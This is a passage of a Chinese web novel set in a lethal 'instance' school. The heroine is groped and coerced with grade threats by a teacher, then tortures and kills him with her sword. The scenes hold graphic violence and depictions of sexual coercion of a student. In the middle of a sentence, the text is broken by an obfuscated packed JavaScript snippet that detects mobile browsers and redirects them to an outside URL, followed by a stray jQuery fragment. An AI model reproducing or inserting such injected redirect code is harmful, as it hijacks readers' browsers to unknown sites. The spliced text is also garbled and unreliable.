眼前场景像无限拉长,延缓,又像是正常的一瞬间。
“砰”
又有人死了。
龙黎探头看向下面,鲜红得液体从扭曲得人身下流出,形成一副在这所学校里在正常不过的一件事。
桃源跟许雁习以为常,互相抱怨起来。
“才开学就死了多少个?我今天看见好几次了,能不能管管!松一点有什么不可以。”
“对啊,对啊。”
龙黎收回视线。
三人下了楼,去教室的必经之路要经过尸体,周围人都无视得很熟悉。
看见就绕路,没看见踩到就收回脚绕路,要不然就是直接踩过去。
生命这个副本不值一提,分数才是王道。
龙黎回头,晚风吹动布条,红色布条散开,露出挡住的眼睛,微张,瞳孔全黑,很大,望着你,给人一种她没死的错觉。
桃源拉住龙黎的手:“要上课了,跑起来!”
三人在人流间奔跑,卡着点进教室,坐下后,老师正巧进来。
是前面戴着金丝框眼镜,得了个斯文败类评价的老师。
扫视一圈,确定人都来了,他坐下:“大家做一会作业,二十五分钟后我要讲。”
龙黎听着,歪头看了眼桌子旁边地上的尸体,没有人处理,还在,血液都干涸了。
教室中笔在纸上滑动的沙沙沙声格外催眠,很适合开助眠直播。
龙黎扫了眼作业,认命得提起笔做起来。
还以为脱离学校就不用做这些,穿过来有钱不用当牛马社畜,现在副本直接让她沉浸式体验高中生活,还是升级变异版本。
做着做着忘了时间,还有点上头,进入心流状态。
做得正开心,耳边响起令人牙酸的声音。
“这位同学基础很好,写得思路清晰,老师很喜欢你这样的学生,有不会的可以来办公室找老师。”
龙黎没理他,笔没停,眼睛全是题,耳朵失去听觉一样。
这老师脸上的笑意僵住,在龙黎身边站了几秒,向着另一个地方去,位置是左下方的玩家。
“同学怎么停下来了,有不会的题吗?等下课要不要去办公室,我教你?”
他这个老师在身边站着,是个学生都会紧张,还问为什么停下来,而且能不能委婉一点,这问得生怕别人不知道他别有目的。
龙黎做着题,眼睛缓缓眨动了一下。
她准备一会看看这老师喊人去办公室是做什么的,不管做什么,他让她不舒服,今天要杀了。
身后老师还在不厌其烦地问着一个个学生,就像是好心想要帮助学生。
二十五分钟后,他回到讲台端起书讲起来,这里的老师虽然怪但课确实都是讲得数一数二的。
“好,下课,同学们有不会的可以来办公室找我。”
大家起身。
“啪”
教室灯灭,副本第一天结束。
龙黎跟桃源说自己去办公室问个题目,回身走向金丝眼镜老师。
“老师,我有一个题目不会,想问一下你,可以吗?”
龙黎直勾勾看着他得眼睛,语气很礼貌。
老师捏住眼镜腿把眼镜向上抬了下,笑着回复:“当然可以,你是学生,老师有义务为你解答。”
来到办公室,他路过同事的桌子,内心疑惑,今天同事好像很久没有出现,平时一直放在桌面上得保温杯今天不在了。
这个想法转瞬即逝,他没有细想,拉开椅子坐进去,手上的书放置到桌子上,语气温和:“同学你不会的题目是什么?”
龙黎掏出书,挑了个有难度的题。
书被一只手接过,他看完,说:“涉及到高三的知识,不会正常,很多同学经常来问这个,这个题要先看……”
讲完,老师问:“会了吗,还有其他问题吗?”
龙黎思索,喊来办公室真是讲题目的?
教室不能教,非要去办公室?
不过来都来了,不干点什么在走多不好。
她想着点头:“老师会了。”
这话一落,老师眉眼舒展,眉开眼笑,手覆上龙黎的手:“老师很喜欢你这种爱学习的孩子,以后多来找我问问题,我这里有很多学习资料,你学了肯定是比别人考得好的。”
龙黎垂眼看着他的手摩挲着她的手背,挂起笑:“你这是干嘛?”
男人露出虚伪得笑:“我喜欢你啊,喜欢就是会不由自主多亲近,多摸摸你。”
“你违反职道德了。”龙黎声音很低,低到不全神贯注去听都听不见的程度。
男人讥笑:“你不会的题,我有没有教你,你是不是说会了,那我违反什么了,我只需要教就可以,这才是我的工作,道德这种事谁说得算?你吗?别开玩笑了,这种没有人能管。”
“你们不是原来的学生吧,不怕我说出去?”
当时教课的时候他就发现有十个学生明显不适应学习的事情,跟边上麻木习惯的学生全然不同,这十个人充满生机,新鲜青涩会反抗挣扎。
他很久没有遇上过这样的学生,很想跟这些学生好好玩一玩。
很简单,用分数威胁就好,这些学生会乖乖听话。
他又说出了那句从来没有失手过得话:“想成为年纪第一名,只要听我的话,我可以让你一直待在年级第一,不然你的成绩一定会一落千丈。”
“年级第一?”龙黎心想口气真大,他一个新人老师,能做到把任何一个学生拉倒年级第一的话,那学校要把他拱起来。
他可以直接当副校长了。
吹牛不打草稿,牛皮吹大了。
男人看出她不信,笑眯了眼:“你不信我可以带你上年级第一,那你信不信你会被孤立,被针对,这种情况你还怎么保持成绩。”
“我还可以给你低分,你说是不是,我是老师,有这个能力,而你是学生,需要听我的,你说呢,龙梨同学,考虑好了吗?”
威胁,赤裸裸的威胁,顶着一个斯文败类的脸在毫不要脸得威胁着一个以分数为天的学生。
真该死啊。
龙黎手翻转压住老师的手,紧紧摁住着。
男人以为她考虑清楚了,眉眼愉悦,果然还是聪
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16542692|181677||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
明人好沟通,都不用明说,一点就通。
他分开手指想来个十指相扣。
龙黎微笑着,真理猝不及防出现,从手背穿过,没有一丝停顿,顺畅得穿过皮肉,骨骼,掌心,贯穿桌子。
男人的手牢牢得钉在桌上,手掌与木桌之间还夹着一本习题。
是他自己的,龙黎的在讲完后收进校服口袋了。
男人面目狰狞,张开嘴不是痛呼而是:“你疯了!敢伤老师,快给我拔出来,后面你表现好我可能就不会告诉其他人。”
龙黎不想听他巴拉巴拉,玩心起来似得上下拨弄真理的剑柄。
剑柄摇摇晃晃的,手背的伤口越来越大。
男人疼得整个身体紧绷向前,下身脱离椅子,悬向前方,最后更是疼得挨着桌子跪地。
他害怕了,怕手废了,怕成为废人,他更害怕丢面子,到时候成为全学校的笑柄。
所以他不敢大喊大叫,他不想被其他人知道自己干得事情,不想被知道他被一个学生弄得这样狼狈。
现在他后悔了,他不应该让她进办公室的,他应该直接开除这个恶劣的学生。
心里既害怕又羞愤。
他咬牙,眼睛瞪得大大的看向龙黎:“你携带锋利物品进入学校,要扣处分的!会被通报批评,到时候你的分是最低最低的!”
龙黎神情凝重,真理慢慢抽出,刀锋缓慢擦着肉上拉,每一次都牵扯着痛感神经,比之酷刑都不为过。
男人以为她认识错误了,但下瞬她说:“可是你死了,不就不会有这些事情了吗?”
男人吓得毛发竖立,仍旧嘴硬:“我死了,你要被学校开除的,你不能被学校开除吧,不会有其他学校收你的,你不能上学,不能参加高考。”
龙黎一刀捅向他的胸口:“那就是之后的事情了,现在你先去死吧。”
真理终结心脏,红色的心脏跳动,中间插着一把白刀,它还没反应过来,跳得速度依旧。
慢慢得随着血液出来,心脏迟钝得反应过来,跳动的越来越慢,直到停止。
男人的求饶说出的那刻已经晚了。
龙黎手握真理,站得很直,微垂眼看着他死去。
真理白刀进红刀出。
男人的尸体软趴趴得倒下,摔在脚边,窗外一个手电光打进来。
“办公室有人?怎么不关灯。”
龙黎立刻蹲下,借着办公室桌子挡住自己,铁锈味在鼻尖蔓延,金丝眼镜掉落在脚边,撇了眼地上的人。
她勾起眼镜戴上,没有不适应,她没近视,这个眼镜同样没有度数。
没有度数戴眼镜,还是这种漂亮华美的眼镜,这人太装了。
现在归她了,反正眼镜主人都不要它了。
戴好眼镜,龙黎脱了校服扒了男人的衣服,套在身上。
手电筒光线在办公室晃着转了一圈,龙黎在办公桌下面,光束从头顶扫过,随后消失。
安静下来,没有人声,没有脚步声。
窗外一张苍白的脸贴着窗户死死盯着办公室,两颗硕大的眼睛鼓得跟青蛙一样要凸出来般。